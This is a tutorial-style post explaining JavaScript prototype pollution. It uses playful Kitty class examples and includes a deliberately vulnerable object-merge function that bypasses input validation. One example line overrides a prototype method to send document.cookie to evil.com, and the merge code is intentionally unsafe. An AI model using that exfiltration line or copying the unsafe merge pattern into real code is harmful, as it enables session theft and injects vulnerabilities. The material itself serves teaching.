Prototype Pollution

By overriding an object's prototype, you can override functionality in many dynamic applications either client or sever side.

> Portswigger's Prototype Pollution page

Prototype Crash Course

Generally speaking, all Javascript objects are instances of the Object class.

And through the prototype chain, all objects include all prototype methods from parent objects that are not overridden.

A common example is overriding the constructor method when declaring a new class.

Base Object Class


    {
        constructor: ƒ Object(),
        hasOwnProperty: ƒ hasOwnProperty(),
        isPrototypeOf: ƒ isPrototypeOf(),
        propertyIsEnumerable: ƒ propertyIsEnumerable(),
        toLocaleString: ƒ toLocaleString(),
        toString: ƒ toString(),
        valueOf: ƒ valueOf()
    }
    

Kitty Class!


    class Kitty {
        constructor(color) {
            this.fur = color
        }

        meow() {
            alert('meow')
        }
    }
    

Instantiating a Kitty will create something like this:


    {
        Kitty {
            fur: "brown",
            __proto__: {
                constructor: class Kitty,
                meow: ƒ meow(),
                __proto__: {
                    constructor: ƒ Object()
                    hasOwnProperty: ƒ hasOwnProperty()
                    isPrototypeOf: ƒ isPrototypeOf()
                    propertyIsEnumerable: ƒ propertyIsEnumerable()
                    toLocaleString: ƒ toLocaleString()
                    toString: ƒ toString()
                    valueOf: ƒ valueOf()
                }
            }
        }
    }
    

Note that the Kitty object includes the __proto__ of Kitty class, which includes the __proto__ for the base Object class.

Kitty prototype overrides Object's constructor method, and includes its own meow method.

Exploiting

A simple yet contrived example:


    // Create a new kitty, aaaawwwwww cute
    const k = new Kitty('brown');

    // Haxor the kitty's meow to be evil (aka step 2)
    k.__proto__.meow = () => {
        alert('meow');
        fetch('evil.com?c='+document.cookie);
    }

    // Evil meow sends your cookie to evil.com
    k.meow();

    // Even new kitties are now evil
    const e = new Kitty('black')

    // See your cookie is still getting sent to evil.com
    e.meow()
    

Yea but you're really glazing over things in step 2

If attackers could magically inject their own code into our code then we're pretty much screwed right off the bat. Luckily there does need to be some sort an attack vector.

Unluckily, attack vectors pop up from time to time. And if it's not your own dumb fault for creating vulnerable code, then its still your fault for including someone else's code.

Prototype pollution often occurs when applications try to copy or transform objects in an unsafe way.

A less contrived example


class Kitty {
    constructor(attrs) {
        // Load object attributes dynamically... yolo
        for (let [k,v] of Object.entries(attrs)) {
            this[k] = v;
        }
    }
}

class KittyFactory {
    /**
     * Copies Daddy Kitty's traits onto Mommy kitty
     * to make a new baby kitty
     */
    generateKitty(mommyKitty, daddyKitty) {
        // Start the baby using moms traits
        const babyKitty = new Kitty(mommyKitty);

        // Make sure we're only using "normal" eye colors
        // This is the control we will bypass with
        // prototype pollution
        if (!this.validateEyeColor(daddyKitty)) {
            alert(`Invalid eyes: ${daddyKitty.eyes}`);
            return false;
        }

        // Copy each of dads traits onto the baby kitty
        for (let attr in daddyKitty) {
            // This is where the vulnerability lies
            // hasOwnProperty() needs verification
            // so that prototype attributes can't
            // be accessed
            babyKitty[attr] = daddyKitty[attr];
        }

        return babyKitty;
    }

    /**
     * Make sure eyes are either green, blue, or not set
     */
    validateEyeColor(daddyKitty) {
        const eyeColor = daddyKitty['eyes'];

        return !eyeColor
            ||  eyeColor === 'blue'
            ||  eyeColor === 'green';
    }

    /**
     * Return all of the kitty's traits as a string for
     * a dramatic demonstration
     */
    describeNewKitty(kitty) {
        let message = "The new kitty has ";
        const attrs = [];

        for (let attr of ['eyes', 'fur', 'ears', 'whiskers']) {
            if (kitty[attr]) {
                attrs.push(`${kitty[attr]} ${attr}`);
            }
        }

        return message + attrs.join(' and ');
    }
}

/**
 * This is the function attached to the
 * "generate kitty" button
 */
function makeKitty() {
    // "Seed" mom with striped fur
    const momma = new Kitty({
        fur: 'striped'
    });

    // Create baby using unsanitized user input
    const farm  = new KittyFactory();
    const baby  = farm.generateKitty(momma, JSON.parse(document.getElementById('daddy-kitty').value));

    // Alert the new kitty traits
    alert(farm.describeNewKitty(baby));
}
    

The above code allows prototype modifications while copying attributes from one object to another.

babyKitty[attr] = daddyKitty[attr];

Lets try a few requests to highlight an exploit

First, the happy path

Next, your hacking is blocked by input validation

And finally prototype pollution

 

Too long; didn't read

Prototype pollution can cause privilege escalation vulnerabilities, mess with environment variables, it can easily cause DOS by breaking toString(), and if you're eval-ing object attributes like a tool, then it can cause RCE.

Be careful when rolling your own merge functions, and be careful with your dependencies.